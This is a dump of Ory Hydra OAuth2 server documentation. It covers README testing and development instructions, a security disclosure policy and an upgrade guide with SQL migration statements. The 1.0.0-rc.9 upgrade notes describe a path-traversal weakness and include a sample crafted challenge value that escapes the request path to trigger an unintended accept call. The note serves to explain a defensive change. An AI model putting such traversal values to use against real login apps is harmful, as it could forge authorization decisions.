and OAuth2 related specifications are over 400 written pages. Implementing OAuth2 is easy, getting it right is hard. Ory Hydra is trusted by companies all around the world, has a vibrant community and faces millions of requests in production each day. Of course, we also compiled a security guide with more details on cryptography and security concepts. Read [the security guide now](https://www.ory.sh/docs/hydra/security-architecture). ### Disclosing vulnerabilities If you think you found a security vulnerability, please refrain from posting it publicly on the forums, the chat, or GitHub. You can find all info for responsible disclosure in our [security.txt](https://www.ory.sh/.well-known/security.txt). ## Benchmarks Our continuous integration runs a collection of benchmarks against Ory Hydra. You can find the results [here](https://www.ory.sh/docs/performance/hydra). ## Telemetry Our services collect summarized, anonymized data that can optionally be turned off. Click [here](https://www.ory.sh/docs/ecosystem/sqa) to learn more. ## Documentation ### Guide The full Ory Hydra documentation is available [here](https://www.ory.sh/docs/hydra). ### HTTP API documentation The HTTP API is documented [here](https://www.ory.sh/docs/hydra/sdk/api). ### Upgrading and Changelog New releases might introduce breaking changes. To help you identify and incorporate those changes, we document these changes in [CHANGELOG.md](./CHANGELOG.md). ### Command line documentation Run `hydra -h` or `hydra help`. ### Develop We love all contributions! Please read our [contribution guidelines](./CONTRIBUTING.md). #### Dependencies You need Go 1.13+ with `GO111MODULE=on` and (for the test suites): - Docker and Docker Compose - Makefile - NodeJS / npm It is possible to develop Ory Hydra on Windows, but please be aware that all guides assume a Unix shell like bash or zsh. #### Formatting Code You can format all code using `make format`. Our CI checks if your code is properly formatted. #### Running Tests There are three types of tests you can run: - Short tests (do not require a SQL database like PostgreSQL) - Regular tests (do require PostgreSQL, MySQL, CockroachDB) - End to end tests (do require databases and will use a test browser) All of the above tests can be run using the makefile. See the commands below. **Makefile commands** ```shell # quick tests make quicktest # regular tests make test test-resetdb # end-to-end tests make e2e ``` ##### Short Tests It is recommended to use the make file to run your tests using `make quicktest` , however, you can still use the `go test` command. **Please note**: All tests run against a sqlite in-memory database, thus it is required to use the `-tags sqlite,json1` build tag. Short tests run fairly quickly. You can either test all of the code at once: ```shell script go test -v -failfast -short -tags sqlite,json1 ./... ``` or test just a specific module: ```shell script go test -v -failfast -short -tags sqlite,json1 ./client ``` or a specific test: ```shell script go test -v -failfast -short -tags sqlite,json1 -run ^TestName$ ./... ``` ##### Regular Tests Regular tests require a database set up. Our test suite is able to work with docker directly (using [ory/dockertest](https://github.com/ory/dockertest)) but we encourage to use the Makefile instead. Using dockertest can bloat the number of Docker Images on your system and are quite slow. Instead we recommend doing: ```shell script make test ``` Please be aware that `make test` recreates the databases every time you run `make test`. This can be annoying if you are trying to fix something very specific and need the database tests all the time. In that case we suggest that you initialize the databases with: ```shell script make test-resetdb export TEST_DATABASE_MYSQL='mysql://root:secret@(127.0.0.1:3444)/mysql?parseTime=true&multiStatements=true' export TEST_DATABASE_POSTGRESQL='postgres://postgres:[email protected]:3445/postgres?sslmode=disable' export TEST_DATABASE_COCKROACHDB='cockroach://[email protected]:3446/defaultdb?sslmode=disable' ``` Then you can run `go test` as often as you'd like: ```shell script go test -p 1 ./... # or in a module: cd client; go test . ``` #### E2E Tests The E2E tests use [Cypress](https://www.cypress.io) to run full browser tests. You can execute these tests with: ``` make e2e ``` The runner will not show the Browser window, as it runs in the CI Mode (background). That makes debugging these type of tests very difficult, but thankfully you can run the e2e test in the browser which helps with debugging! Just run: ```shell script ./test/e2e/circle-ci.bash memory --watch # Or for the JSON Web Token Access Token strategy: # ./test/e2e/circle-ci.bash memory-jwt --watch ``` or if you would like to test one of the databases: ```shell script make test-resetdb export TEST_DATABASE_MYSQL='mysql://root:secret@(127.0.0.1:3444)/mysql?parseTime=true&multiStatements=true' export TEST_DATABASE_POSTGRESQL='postgres://postgres:[email protected]:3445/postgres?sslmode=disable' export TEST_DATABASE_COCKROACHDB='cockroach://[email protected]:3446/defaultdb?sslmode=disable' # You can test against each individual database: ./test/e2e/circle-ci.bash postgres --watch ./test/e2e/circle-ci.bash memory --watch ./test/e2e/circle-ci.bash mysql --watch # ... ``` Once you run the script, a Cypress window will appear. Hit the button "Run all Specs"! The code for these tests is located in [./cypress/integration](./cypress/integration) and [./cypress/support](./cypress/support) and [./cypress/helpers](./cypress/helpers). The website you're seeing is located in [./test/e2e/oauth2-client](./test/e2e/oauth2-client). ##### OpenID Connect Conformity Tests To run Ory Hydra against the OpenID Connect conformity suite, run ```shell script $ test/conformity/start.sh --build ``` and then in a separate shell ```shell script $ test/conformity/test.sh ``` Running these tests will take a significant amount of time which is why they are not part of the CI pipeline. #### Build Docker You can build a development Docker Image using: ```shell script make docker ``` #### Run the Docker Compose quickstarts If you wish to check your code changes against any of the docker-compose quickstart files, run: ```shell script make docker docker compose -f quickstart.yml up # .... ``` #### Add a new migration 1. `mkdir persistence/sql/src/YYYYMMDD000001_migration_name/` 2. Put the migration files into this directory, following the standard naming conventions. If you wish to execute different parts of a migration in separate transactions, add split marks (lines with the text `--split`) where desired. Why this might be necessary is explained in https://github.com/gobuffalo/fizz/issues/104. 3. Run `make persistence/sql/migrations/<migration_id>` to generate migration fragments. 4. If an update causes the migration to have fewer fragments than the number already generated, run `make persistence/sql/migrations/<migration_id>-clean`. This is equivalent to a `rm` command with the right parameters, but comes with better tab completion. 5. Before committing generated migration fragments, run the above clean command and generate a fresh copy of migration fragments to make sure the `sql/src` and `sql/migrations` directories are consistent. ## Libraries and third-party projects Official: - [User Login & Consent Example](https://github.com/ory/hydra-login-consent-node) Community: - Visit [this document for an overview of community projects and articles](https://www.ory.sh/docs/ecosystem/community) Developer Blog: - Visit the [Ory Blog](https://www.ory.sh/blog/) for guides, tutorials and articles around Ory Hydra and the Ory ecosystem.
Markdown
hydra/SECURITY.md
<!-- AUTO-GENERATED, DO NOT EDIT! --> <!-- Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/SECURITY.md --> <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> - [Security Policy](#security-policy) - [Supported Versions](#supported-versions) - [Reporting a Vulnerability](#reporting-a-vulnerability) <!-- END doctoc generated TOC please keep comment here to allow auto update --> # Security Policy ## Supported Versions We release patches for security vulnerabilities. Which versions are eligible for receiving such patches depends on the CVSS v3.0 Rating: | CVSS v3.0 | Supported Versions | | --------- | ----------------------------------------- | | 9.0-10.0 | Releases within the previous three months | | 4.0-8.9 | Most recent release | ## Reporting a Vulnerability Please report (suspected) security vulnerabilities to **[[email protected]](mailto:[email protected])**. You will receive a response from us within 48 hours. If the issue is confirmed, we will release a patch as soon as possible depending on complexity but historically within a few days.
Markdown
hydra/UPGRADE.md
# Upgrading The intent of this document is to make migration of breaking changes as easy as possible. Please note that not all breaking changes might be included here. Please check the [CHANGELOG.md](./CHANGELOG.md) for a full list of changes before finalizing the upgrade process. <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> - [Hassle-free upgrades](#hassle-free-upgrades) - [1.4](#14) - [1.3.0](#130) - [1.2.0](#120) - [1.1.0](#110) - [1.0.9](#109) - [Schema Changes](#schema-changes) - [1.0.0-rc.10](#100-rc10) - [OpenID Connect Front-/Backchannel Logout 1.0](#openid-connect-front-backchannel-logout-10) - [Schema Changes](#schema-changes-1) - [SQL Migrations now require user-input or `--yes` flag](#sql-migrations-now-require-user-input-or---yes-flag) - [Login and Consent Management](#login-and-consent-management) - [1.0.0-rc.9](#100-rc9) - [Go SDK](#go-sdk) - [Accepting Login and Consent Requests](#accepting-login-and-consent-requests) - [1.0.0-rc.7](#100-rc7) - [Configuration changes](#configuration-changes) - [System secret rotation](#system-secret-rotation) - [Database Plugins](#database-plugins) - [1.0.0-rc.4](#100-rc4) - [1.0.0-rc.1](#100-rc1) - [Schema Changes](#schema-changes-2) - [Foreign Keys](#foreign-keys) - [Removing inconsistent oauth2 data](#removing-inconsistent-oauth2-data) - [Removing inconsistent login & consent data](#removing-inconsistent-login--consent-data) - [Indices](#indices) - [Non-breaking Changes](#non-breaking-changes) - [Access Token Audience](#access-token-audience) - [Refresh Grant](#refresh-grant) - [Customise login and consent flow timeout](#customise-login-and-consent-flow-timeout) - [Breaking Changes](#breaking-changes) - [Refresh Token Expiry](#refresh-token-expiry) - [Swagger & SDK Restructuring](#swagger--sdk-restructuring) - [Go](#go) - [Others](#others) - [JSON Web Token formatted Access Token data](#json-web-token-formatted-access-token-data) - [CLI Changes](#cli-changes) - [API Changes](#api-changes) - [1.0.0-beta.9](#100-beta9) - [CORS is disabled by default](#cors-is-disabled-by-default) - [1.0.0-beta.8](#100-beta8) - [Schema Changes](#schema-changes-3) - [Split of Public and Administrative Endpoints](#split-of-public-and-administrative-endpoints) - [Golang SDK `Configuration.EndpointURL` is now `Configuration.AdminURL`](#golang-sdk-configurationendpointurl-is-now-configurationadminurl) - [`hydra serve` is now `hydra serve all`](#hydra-serve-is-now-hydra-serve-all) - [Environment variable `HYDRA_URL` now is `HYDRA_ADMIN_URL` for admin commands](#environment-variable-hydra_url-now-is-hydra_admin_url-for-admin-commands) - [OAuth 2.0 Token Introspection](#oauth-20-token-introspection) - [OAuth 2.0 Client flag `public` has been removed](#oauth-20-client-flag-public-has-been-removed) - [1.0.0-beta.7](#100-beta7) - [Regenerated OpenID Connect ID Token cryptographic keys](#regenerated-openid-connect-id-token-cryptographic-keys) - [1.0.0-beta.5](#100-beta5) - [OAuth 2.0 Client Response Type changes](#oauth-20-client-response-type-changes) - [Schema Changes](#schema-changes-4) - [HTTP Error Payload](#http-error-payload) - [OAuth 2.0 Clients must specify correct `token_endpoint_auth_method`](#oauth-20-clients-must-specify-correct-token_endpoint_auth_method) - [OAuth 2.0 Client field `id` is now `client_id`](#oauth-20-client-field-id-is-now-client_id) - [1.0.0-beta.1](#100-beta1) - [Upgrading from versions v0.9.x](#upgrading-from-versions-v09x) - [OpenID Connect Certified](#openid-connect-certified) - [Breaking Changes](#breaking-changes-1) - [Introspection API](#introspection-api) - [Introspection is now capable of introspecting refresh tokens](#introspection-is-now-capable-of-introspecting-refresh-tokens) - [Access Control & Warden API](#access-control--warden-api) - [Running the backwards compatible set up](#running-the-backwards-compatible-set-up) - [Warden API](#warden-api) - [Warden Groups](#warden-groups) - [jwk: Forces JWK to have a unique ID](#jwk-forces-jwk-to-have-a-unique-id) - [Consent Flow](#consent-flow) - [Changes to the CLI](#changes-to-the-cli) - [`hydra host`](#hydra-host) - [`hydra connect`](#hydra-connect) - [`hydra token user`](#hydra-token-user) - [`hydra token client`](#hydra-token-client) - [`hydra token validate`](#hydra-token-validate) - [`hydra clients create`](#hydra-clients-create) - [`hydra migrate ladon`](#hydra-migrate-ladon) - [`hydra policies`](#hydra-policies) - [`hydra groups`](#hydra-groups) - [SDK](#sdk) - [Improvements](#improvements) - [Health Check endpoint has moved](#health-check-endpoint-has-moved) - [Unknown request body payloads result in error](#unknown-request-body-payloads-result-in-error) - [UTC everywhere](#utc-everywhere) - [Pagination everywhere](#pagination-everywhere) - [Flushing old access tokens](#flushing-old-access-tokens) - [Prometheus endpoint](#prometheus-endpoint) - [0.11.12](#01112) - [0.11.3](#0113) - [0.11.0](#0110) - [0.10.0](#0100) - [Breaking Changes](#breaking-changes-2) - [Introspection now requires authorization](#introspection-now-requires-authorization) - [New consent flow](#new-consent-flow) - [Audience](#audience) - [Response payload changes to `/warden/token/allowed`](#response-payload-changes-to-wardentokenallowed) - [Go SDK](#go-sdk-1) - [Health endpoints](#health-endpoints) - [Group endpoints](#group-endpoints) - [Replacing hierarchical scope strategy with wildcard scope strategy](#replacing-hierarchical-scope-strategy-with-wildcard-scope-strategy) - [AES-GCM nonce storage](#aes-gcm-nonce-storage) - [Minor Breaking Changes](#minor-breaking-changes) - [Token signature algorithm changed from HMAC-SHA256 to HMAC-SHA512](#token-signature-algorithm-changed-from-hmac-sha256-to-hmac-sha512) - [HS256 JWK Generator now uses all 256 bit](#hs256-jwk-generator-now-uses-all-256-bit) - [ES512 Key generator](#es512-key-generator) - [Build tags deprecated](#build-tags-deprecated) - [Important Additions](#important-additions) - [Prefixing Resources Names](#prefixing-resources-names) - [Refreshing OpenID Connect ID Token using `refresh_token` grant type](#refreshing-openid-connect-id-token-using-refresh_token-grant-type) - [Important Changes](#important-changes) - [Telemetry](#telemetry) - [URL Encoding Root Client Credentials](#url-encoding-root-client-credentials) - [0.9.0](#090) - [0.8.0](#080) - [Breaking changes](#breaking-changes) - [Ladon updated to 0.6.0](#ladon-updated-to-060) - [Redis and RethinkDB deprecated](#redis-and-rethinkdb-deprecated) - [Moved to ory namespace](#moved-to-ory-namespace) - [SDK](#sdk-1) - [JWK](#jwk) - [Migrations are no longer automatically applied](#migrations-are-no-longer-automatically-applied) - [Changes](#changes) - [Log format: json](#log-format-json) - [SQL Connection Control](#sql-connection-control) - [REST API Docs are now generated from source code](#rest-api-docs-are-now-generated-from-source-code) - [Documentation on scopes](#documentation-on-scopes) - [New response writer library](#new-response-writer-library) - [Graceful http handling](#graceful-http-handling) - [Best practice HTTP server config](#best-practice-http-server-config) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## Hassle-free upgrades Do you want the latest features and patches without work and hassle? Are you looking for a reliable, scalable, and secure deployment with zero effort? We can run it for you! If you're interested, [contact us now](mailto:[email protected])! ## 1.5.0 Migrations are now handled with https://github.com/gobuffalo/fizz. Please run `hydra migrate sql` when upgrading to this version. For a full list of changes please check: https://github.com/ory/hydra/compare/v1.4...v1.5.0 ## 1.4 Please run `hydra migrate sql` when upgrading to this version. For more information, check https://github.com/ory/hydra/commit/700d17d3b7d507de1b1d459a7261d6fb2571ebe3. For a full list of changes please check: https://github.com/ory/hydra/compare/v1.3.2...v1.4.1 ## 1.3.0 Please run `hydra migrate sql` when upgrading to this version. For more information, check https://github.com/ory/hydra/commit/d9308fa0dba26019a59e4d97e85b036133ad8362. ## 1.2.0 This release focuses on a rework of the SDK pipeline. First of all, we have introduced new SDKs for all popular programming languages and published them on their respective package repositories: - [Python](https://pypi.org/project/ory-hydra-client/) - [PHP](https://packagist.org/packages/ory/hydra-client) - [Go](https://github.com/ory/hydra-client-go) - [NodeJS](https://www.npmjs.com/package/@oryd/hydra-client) (with TypeScript) - [Java](https://search.maven.org/artifact/sh.ory.hydra/hydra-client) - [Ruby](https://rubygems.org/gems/ory-hydra-client) The SDKs hosted in this repository (under ./sdk/...) have been completely removed. Please use only the SDKs from the above sources from now on as it will also remove several issues that were caused by the previous SDK pipeline. Unfortunately, there were breaking changes introduced by the new SDK generation: - Several structs and fields have been renamed in the Go SDK. However, nothing else changed so upgrading should be a matter of half an hour if you made extensive use of the SDK, or several minutes if just one or two methods are being used. - All other SDKs changed to `openapi-generator`, which is a better maintained generator that creates better code than the one previously used. This manifests in TypeScript definitions for the NodeJS SDK and several other goodies. We do not have a proper migration path for those, unfortunately. If you have issues with upgrading the SDK, please let us know in an issue on this repository! ## 1.1.0 Several indices have been added to the SQL Migrations. There are no backwards incompatible changes in this release but we advise to do a test-run of the SQL Migrations before applying them, as they might lock some tables which may cause downtimes. > Make a backup of your database before applying this change. After applying these SQL Migrations, several queries and endpoints will be much faster than before. ## 1.0.9 ### Schema Changes A minor Schema change was introduced to the OAuth 2.0 Clients table. It is now possible to store arbitrary metadata for a client. > Make a backup of your database before applying this change. ## 1.0.0-rc.10 ### OpenID Connect Front-/Backchannel Logout 1.0 This patch implements OpenID Connect Front-/Backchannel Logout 1.0 ([read docs](https://www.ory.sh/docs/hydra/oauth2#logout)). Therefore, endpoint `/oauth2/auth/sessions/login/revoke` has been deprecated. ### Schema Changes Please read all paragraphs of this section with the utmost care, before executing `hydra migrate sql`. Do not take this change lightly and create a backup of the database before you begin. To be sure, copy the database and do a dry-run locally. > Be aware that running these migrations might take some time when using large > databases. Do a dry-run before hammering your production database. ### SQL Migrations now require user-input or `--yes` flag `hydra migrate sql` now shows an execution plan and asks for confirmation before executing the migrations. To run migrations without user interaction, add flag `--yes`. ### Login and Consent Management Orthogonal to the changes when accepting and rejection consent and login requests, the following endpoints have been updated as well: - `DELETE /oauth2/auth/sessions/login/:subject` -> `DELETE /oauth2/auth/sessions/login?subject={subject}` - `GET /oauth2/auth/sessions/consent/:subject` -> `GET /oauth2/auth/sessions/login?subject={subject}` - `DELETE /oauth2/auth/sessions/consent/:subject` -> `DELETE /oauth2/auth/sessions/login?subject={subject}` - `DELETE /oauth2/auth/sessions/consent/:subject/:client` -> `DELETE /oauth2/auth/sessions/login?subject={subject}&client={client}` While this does not include a security warning, this patch allows developers to use slashes in dots in their subject/user IDs. ## 1.0.0-rc.9 ### Go SDK The Go SDK is now being generated using `go-swagger`. The SDK generated using `swagger-codegen` is no longer supported. The old Go SDK is still available but moved to a new path. To use it, change: ``` - import "github.com/ory/hydra/sdk/go/hydra" - import "github.com/ory/hydra/sdk/go/hydra/swagger" + import hydra "github.com/ory/hydra-legacy-sdk" + import "github.com/ory/hydra-legacy-sdk/swagger" ``` ### Accepting Login and Consent Requests Previously, login and consent requests were accepted/rejected by doing one of: ``` GET /oauth2/auth/requests/login/{challenge} PUT /oauth2/auth/requests/login/{challenge}/accept PUT /oauth2/auth/requests/login/{challenge}/reject GET /oauth2/auth/requests/consent/{challenge} PUT /oauth2/auth/requests/consent/{challenge}/accept PUT /oauth2/auth/requests/consent/{challenge}/reject ``` We observed login/consent apps that did not properly sanitize the `{challenge}` parameter, making it possible to escape the path by using `..` in the challenge parameter (e.g. `http://my-login-app/login?challenge=../../whatever`) causing the login/consent app to execute a request it is not supposed to be making (e.g. `/oauth2/auth/requests/login/../../whatever/accept`). From now on, the challenge has to be sent using a query parameter instead: ``` GET /oauth2/auth/requests/login?challenge={challenge} PUT /oauth2/auth/requests/login/accept?challenge={challenge} PUT /oauth2/auth/requests/login/reject?challenge={challenge} GET /oauth2/auth/requests/consent?challenge={challenge} PUT /oauth2/auth/requests/consent/accept?challenge={challenge} PUT /oauth2/auth/requests/consent/reject?challenge={challenge} ``` Implementers will still need to make sure that `challenge` is properly (query) scaped, but it's generally easier to secure than a path parameter. We've decided to make this a hard breaking change in order to force everybody to check if their application is vulnerable to this issue and to upgrade their code. The required code change is minimal but the resulting security improvements are potentially large. ## 1.0.0-rc.7 ### Configuration changes This patch introduces changes to the way configuration works in ORY Hydra. It allows ORY Hydra to be configured from a variety of sources including environment variables and a configuration file. In the future, ORY Hydra might be configurable using etcd or consul. The changes allow ORY Hydra to reload configuration without restarting in the future. An overview of configuration settings can be found [here](https://github.com/ory/hydra/blob/master/docs/config.yaml). All changes are backwards compatible except for the way key rotation works (see next section) and the way DBAL plugins are loaded (see section after next). ### System secret rotation Rotating system secrets was fairly cumbersome in the past and required a restart of ORY Hydra. This changed. The system secret is now an array where the first element is used for encryption and all elements can be used for decryption. For more information on this topic, click [here](https://www.ory.sh/docs/hydra/advanced#rotation-of-hmac-token-signing-and-database-and-cookie-encryption-keys). To make this change work, environment variable `ROTATED_SYSTEM_SECRET` has been removed and can no longer be used. Command `hydra migrate secret` has also been removed without replacement as it is no longer required for rotating secrets. ### Database Plugins Environment variable `DATABASE_PLUGIN` has been replaced by `dsn`. To load a plugin, set `dsn: plugin:///path/to/plugin.so`. Please note that internals have changed radically with this patch and that there is some refactoring effort required to make plugins work with the most recent version. ## 1.0.0-rc.4 This patch requires you to run SQL migrations. No other important changes have been made. ## 1.0.0-rc.1 This release ships with major scalability and reliability improvements and resolves several bugs. ### Schema Changes Please read all paragraphs of this section with the utmost care, before executing `hydra migrate sql`. Do not take this change lightly and create a backup of the database before you begin. To be sure, copy the database and do a dry-run locally. > Be aware that running these migrations might take some time when using large > databases. Do a dry-run before hammering your production database. #### Foreign Keys In order to keep data consistent across tables, several foreign key constraints have been added between consent, oauth2, client tables. If you are running a large database take enough time to run this migration - it might take a while depending on the amount of data and the database version and driver. Before executing this migration, you should _manually_ check and remove inconsistent data. ##### Removing inconsistent oauth2 data This migration automatically removes inconsistent OAuth 2.0 and OpenID Connect data. Possible impacts are: 1. Existing authorize codes, access, refresh tokens might be invalidated (all flows, including PKCE and OpenID Connect) As OAuth 2.0 clients are generally capable of handling re-authorization, this should not have a serious impact. Removing this data increases security through strong consistency. The following data-altering statements will be executed: ```sql -- First we need to delete all rows that point to a non-existing oauth2 client. DELETE FROM hydra_oauth2_access WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_access.client_id = hydra_client.id); DELETE FROM hydra_oauth2_refresh WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_refresh.client_id = hydra_client.id); DELETE FROM hydra_oauth2_code WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_code.client_id = hydra_client.id); DELETE FROM hydra_oauth2_oidc WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_oidc.client_id = hydra_client.id); DELETE FROM hydra_oauth2_pkce WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_pkce.client_id = hydra_client.id); -- request_id is a 40 varchar in the referenced table which is why we are resizing -- 1. We must remove request_ids longer than 40 chars. This should never happen as we've never issued them longer than this DELETE FROM hydra_oauth2_access WHERE LENGTH(request_id) > 40; DELETE FROM hydra_oauth2_refresh WHERE LENGTH(request_id) > 40; DELETE FROM hydra_oauth2_code WHERE LENGTH(request_id) > 40; DELETE FROM hydra_oauth2_oidc WHERE LENGTH(request_id) > 40; DELETE FROM hydra_oauth2_pkce WHERE LENGTH(request_id) > 40; -- 2. Next we're actually resizing ALTER TABLE hydra_oauth2_access ALTER COLUMN request_id TYPE varchar(40); ALTER TABLE hydra_oauth2_refresh ALTER COLUMN request_id TYPE varchar(40); ALTER TABLE hydra_oauth2_code ALTER COLUMN request_id TYPE varchar(40); ALTER TABLE hydra_oauth2_oidc ALTER COLUMN request_id TYPE varchar(40); ALTER TABLE hydra_oauth2_pkce ALTER COLUMN request_id TYPE varchar(40); -- In preparation for creating the client_id index and foreign key, we must set it to varchar(255) which is also -- the length of hydra_client.id DELETE FROM hydra_oauth2_access WHERE LENGTH(client_id) > 255; DELETE FROM hydra_oauth2_refresh WHERE LENGTH(client_id) > 255; DELETE FROM hydra_oauth2_code WHERE LENGTH(client_id) > 255; DELETE FROM hydra_oauth2_oidc WHERE LENGTH(client_id) > 255; DELETE FROM hydra_oauth2_pkce WHERE LENGTH(client_id) > 255; ALTER TABLE hydra_oauth2_access ALTER COLUMN client_id TYPE varchar(255); ALTER TABLE hydra_oauth2_refresh ALTER COLUMN client_id TYPE varchar(255); ALTER TABLE hydra_oauth2_code ALTER COLUMN client_id TYPE varchar(255); ALTER TABLE hydra_oauth2_oidc ALTER COLUMN client_id TYPE varchar(255); ALTER TABLE hydra_oauth2_pkce ALTER COLUMN client_id TYPE varchar(255); ``` ##### Removing inconsistent login & consent data This migration automatically removes inconsistent login & consent data. Possible impacts are: 1. Users that set `remember` to true during login have to re-authenticate. 2. Users that set `remember` to true during consent have to re-authorize requested OAuth 2.0 Scope. 3. Data associated with OAuth 2.0 Clients that have been removed will be deleted. That is achieved by running the following queries. Make sure you understand what these queries do and what impact they may have on your system before executing `hydra migrate sql`: ```sql -- This can be null when no previous login session exists, so let's remove default ALTER TABLE hydra_oauth2_authentication_request ALTER COLUMN login_session_id DROP DEFAULT; -- This can be null when no previous login session exists or if that session has been removed, so let's remove default ALTER TABLE hydra_oauth2_consent_request ALTER COLUMN login_session_id DROP DEFAULT; -- This can be null when the login_challenge was deleted (should not delete the consent itself) ALTER TABLE hydra_oauth2_consent_request ALTER COLUMN login_challenge DROP DEFAULT; -- Consent requests that point to an empty or invalid login request should set their login_challenge to NULL UPDATE hydra_oauth2_consent_request SET login_challenge = NULL WHERE NOT EXISTS ( SELECT 1 FROM hydra_oauth2_authentication_request WHERE hydra_oauth2_consent_request.login_challenge = hydra_oauth2_authentication_request.challenge ); -- Consent requests that point to an empty or invalid login session should set their login_session_id to NULL UPDATE hydra_oauth2_consent_request SET login_session_id = NULL WHERE NOT EXISTS ( SELECT 1 FROM hydra_oauth2_authentication_session WHERE hydra_oauth2_consent_request.login_session_id = hydra_oauth2_authentication_session.id ); -- Login requests that point to a login session that no longer exists (or was never set in the first place) should set that to NULL UPDATE hydra_oauth2_authentication_request SET login_session_id = NULL WHERE NOT EXISTS ( SELECT 1 FROM hydra_oauth2_authentication_session WHERE hydra_oauth2_authentication_request.login_session_id = hydra_oauth2_authentication_session.id ); -- Login, consent, obfuscated sessions that point to a client which no longer exists must be deleted DELETE FROM hydra_oauth2_authentication_request WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_authentication_request.client_id = hydra_client.id); DELETE FROM hydra_oauth2_consent_request WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_consent_request.client_id = hydra_client.id); DELETE FROM hydra_oauth2_obfuscated_authentication_session WHERE NOT EXISTS (SELECT 1 FROM hydra_client WHERE hydra_oauth2_obfuscated_authentication_session.client_id = hydra_client.id); -- Handled login and consent requests which point to a consent/login request that no longer exists must be deleted DELETE FROM hydra_oauth2_consent_request_handled WHERE NOT EXISTS (SELECT 1 FROM hydra_oauth2_consent_request WHERE hydra_oauth2_consent_request_handled.challenge = hydra_oauth2_consent_request.challenge); DELETE FROM hydra_oauth2_authentication_request_handled WHERE NOT EXISTS (SELECT 1 FROM hydra_oauth2_consent_request WHERE hydra_oauth2_authentication_request_handled.challenge = hydra_oauth2_consent_request.challenge); ``` Be aware that some queries might cascade and remove other data to. One such example is checking `hydra_oauth2_consent_request` for rows that have no associated `login_challenge`. If such a row is removed, the associated `hydra_oauth2_consent_request_handled` is removed as well. #### Indices Several indices have been added which should resolve table locking when searching in large data sets. ### Non-breaking Changes #### Access Token Audience This patch adds the access token audience feature. For more information on this, head over to [the docs](https://www.ory.sh/docs/hydra/advanced). #### Refresh Grant Previously, the refresh grant did not check whether a client's allowed scope or audience changed. This has now been added. If an OAuth 2.0 Client performs the refresh flow but the requested token includes a scope which has not been whitelisted at the client, the flow will fail and no refresh token will be granted. #### Customise login and consent flow timeout You can now set the login and consent flow timeout using environment variable `LOGIN_CONSENT_REQUEST_LIFESPAN`. ### Breaking Changes #### Refresh Token Expiry All refresh tokens issued with this release will expire after 30 days of non-use. This behaviour can be modified using the `REFRESH_TOKEN_LIFESPAN` environment variable. By setting `REFRESH_TOKEN_LIFESPAN=-1`, refresh tokens are set to never expire, which is the previous behaviour. Tokens issued before this change will still be valid forever. We discourage setting `REFRESH_TOKEN_LIFESPAN=-1` as it might clog the database with tokens that will never be used again. In high-scale systems, `REFRESH_TOKEN_LIFESPAN` should be set to something like 15 or 30 days. #### Swagger & SDK Restructuring To better represent the public and admin endpoint, previous swagger tags (like oAuth2, jwks, ...) have been deprecated in favor of tags `public` and `admin`. This has different impacts for the different code-generated client libraries. ##### Go If you use the `hydra.SDK` interface only and the `hydra.NewSDK()` factory, everything will work as before. If you rely on e.g. `hydra.Ne.OAuth2Api.)`, you will be affected by this change. ##### Others All method signatures stayed the same, but the factory names for instantiating the SDK client have changed. For example, `hydra.Ne.OAuth2Api.)` is now `hydra.NewAdminApi()` and `hydra.NewPublicApi()` - depending on which endpoints you need to interact with. #### JSON Web Token formatted Access Token data Previously, extra fields coming from `session.access_token` where directly embedded in the OAuth 2.0 Access Token when the JSON Web Token strategy was used. However, the token introspection response returned the extra data as a field `ext: {...}`. In order to have a streamlined experience, session data is from now on stored in a field `ext: {...}` for Access Tokens formatted as JSON Web Tokens. This change does not impact the opaque strategy, which is the default one. #### CLI Changes Flags `https-tls-key-path` and `https-tls-cert-path` have been removed from the `hydra serve *` commands. Use environment variables `HTTPS_TLS_CERT_PATH` and `HTTPS_TLS_KEY_PATH` instead. #### API Changes Endpoint `/health/status`, which redirected to `/health/alive` was deprecated and has been removed. ## 1.0.0-beta.9 ### CORS is disabled by default A new environment variable `CORS_ENABLED` was introduced. It sets whether CORS is enabled ("true") or not ("false")". Default is disabled. ## 1.0.0-beta.8 ### Schema Changes This patch introduces some minor database schema changes. Before you apply it, you must run `hydra migrate sql` against your database. ### Split of Public and Administrative Endpoints Previously, all endpoints were exposed at one port. Since access control was removed with version 1.0.0, administrative endpoints (JWKs management, OAuth 2.0 Client Management, Login & Consent Management) were exposed and had to be secured with sophisticated set ups using, for example, an API gateway to control which endpoints can be accessed by whom. This version introduces a new port (default `:4445`, configurable using environment variables `ADMIN_PORT` and `ADMIN_POST`) which is serves all administrative APIs: - All `/clients` endpoints. - All `/jwks` endpoints. - All `/health`, `/metrics`, `/version` endpoints. - All `/oauth2/auth/requests` endpoints. - Endpoint `/oauth2/introspect`. - Endpoint `/oauth2/flush`. The second port exposes API endpoints generally available to the public (default `:4444`, configurable using environment variables `PUBLIC_PORT` and `PUBLIC_HOST`): - `./well-known/jwks.json` - `./well-known/openid-configuration` - `/oauth2/auth` - `/oauth2/token` - `/oauth2/revoke` - `/oauth2/fallbacks/consent` - `/oauth2/fallbacks/error` - `/userinfo` The simplest way to starting both ports is to run `hydra serve`. This will start a process which listens on both ports and exposes their respective features. All settings (cors, database, tls, ...) will be shared by both listeners. To configure each listener differently - for example setting CORS for public but not privileged APIs - you can run `hydra serve public` and `hydra serve admin` with different settings. Be aware that this will not work with `DATABASE=memory` and that both services must use the same secrets. ### Golang SDK `Configuration.EndpointURL` is now `Configuration.AdminURL` To reflect the changes made in this patch, the SDK's configuration struct has been updated. Additionally, `Configuration.PublicURL` has been added in case you need to perform OAuth2 flows with the SDK before accessing the admin endpoints. ### `hydra serve` is now `hydra serve all` To reflect the changes of public and administrative ports, command `hydra serve` is now `hydra serve all`. ### Environment variable `HYDRA_URL` now is `HYDRA_ADMIN_URL` for admin commands CLI Commands like `hydra clients ...`, `hydra keys ...`, 